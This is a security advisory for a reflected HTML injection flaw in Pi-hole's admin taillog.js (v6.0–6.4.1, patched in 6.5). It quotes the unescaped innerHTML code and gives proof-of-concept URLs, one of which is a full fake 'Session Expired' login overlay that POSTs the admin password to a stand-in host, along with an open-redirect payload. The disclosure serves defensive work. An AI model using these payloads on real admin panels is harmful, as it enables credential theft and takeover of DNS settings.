Skip to content

Reflected XSS / HTML injection in taillog.js

Moderate
PromoFaux published GHSA-7xqw-r9pr-qv59 Apr 3, 2026

Package

No package listed

Affected versions

v6.0 - v6.4.1

Patched versions

6.5

Description

Hi Team,

please see the vulnerability details below. Please let me know if there are any questions or remarks. Thank you for your work on the pi-hole project.

Summary

A reflected DOM-based XSS vulnerability in taillog.js allows an unauthenticated attacker to inject arbitrary HTML into the Pi-hole admin interface by crafting a malicious URL. The file query parameter is interpolated into an innerHTML assignment without escaping. Because the Content-Security-Policy is missing the form-action directive, injected <form> elements can exfiltrate credentials to an external origin.

Details

In scripts/js/taillog.js lines 99–101, when the file query parameter fails an allowlist check, the raw attacker-controlled value is placed directly into innerHTML:

if (!allowedFileParams.includes(queryParams.file)) {
  const errorMessage = `Invalid file parameter: ${queryParams.file}. …`;
  outputElement.innerHTML = `<div><em class="text-danger">*** Error: ${errorMessage} ***</em></div>`;
  return;
}

The allowlist (["dnsmasq", "ftl", "webserver"]) correctly gates the success path, but the error path echoes the rejected value into the DOM without calling utils.escapeHtml().

The server's CSP (script-src 'self') blocks inline JavaScript. However, the CSP is missing form-action, so injected <form action="https://attacker.com"> elements can POST data to any origin. Combined with style-src 'unsafe-inline', this enables a convincing credential-phishing overlay.

PoC

Prerequisites: Pi-hole Web v6.4.1; victim must be logged in (valid sid cookie).

1. HTML injection proof:

https://<pihole>/admin/taillog?file=<h1 style="color:red;font-size:60px">INJECTED</h1>

A large red "INJECTED" heading renders inside the admin page, proving arbitrary HTML is interpreted.

2. Credential phishing (exploits missing form-action CSP directive):

https://<pihole>/admin/taillog?file=<style>.po{position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.85);z-index:99999;display:flex;align-items:center;justify-content:center}</style><div class="po"><form action="https://example.com/steal" method="POST" style="background:white;padding:30px;border-radius:8px;width:350px;text-align:center;box-sizing:border-box;font-family:sans-serif"><h3 style="color:black;margin:0 0 8px">Session Expired</h3><p style="color:gray;margin:0 0 15px;font-size:14px">Please re-enter your Pi-hole password</p><input name="password" type="password" placeholder="Password" style="display:block;width:100%;padding:10px;margin:0 0 12px;font-size:14px;box-sizing:border-box;border:1px solid gray;border-radius:4px"><input type="submit" value="Log In" style="display:block;width:100%;padding:10px;background:blue;color:white;border:none;font-size:14px;cursor:pointer;border-radius:4px;box-sizing:border-box"></form></div>

A full-viewport overlay renders a "Session Expired" login form. Submitted credentials POST to example.com.
Screenshot:
image

3. Open redirect:

https://<pihole>/admin/taillog?file=<meta http-equiv="refresh" content="0;url=https://example.com">

The browser immediately redirects to example.com.

Impact

Reflected XSS / HTML injection enabling credential phishing. Any authenticated Pi-hole administrator who clicks a crafted link is affected. The attacker requires no authentication. While CSP prevents direct JavaScript execution, the missing form-action directive allows credential theft via injected forms, and <meta http-equiv="refresh"> enables open redirects. Successful exploitation yields the admin password, enabling DNS configuration changes.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE ID

CVE-2026-33403

Weaknesses

No CWEs

Credits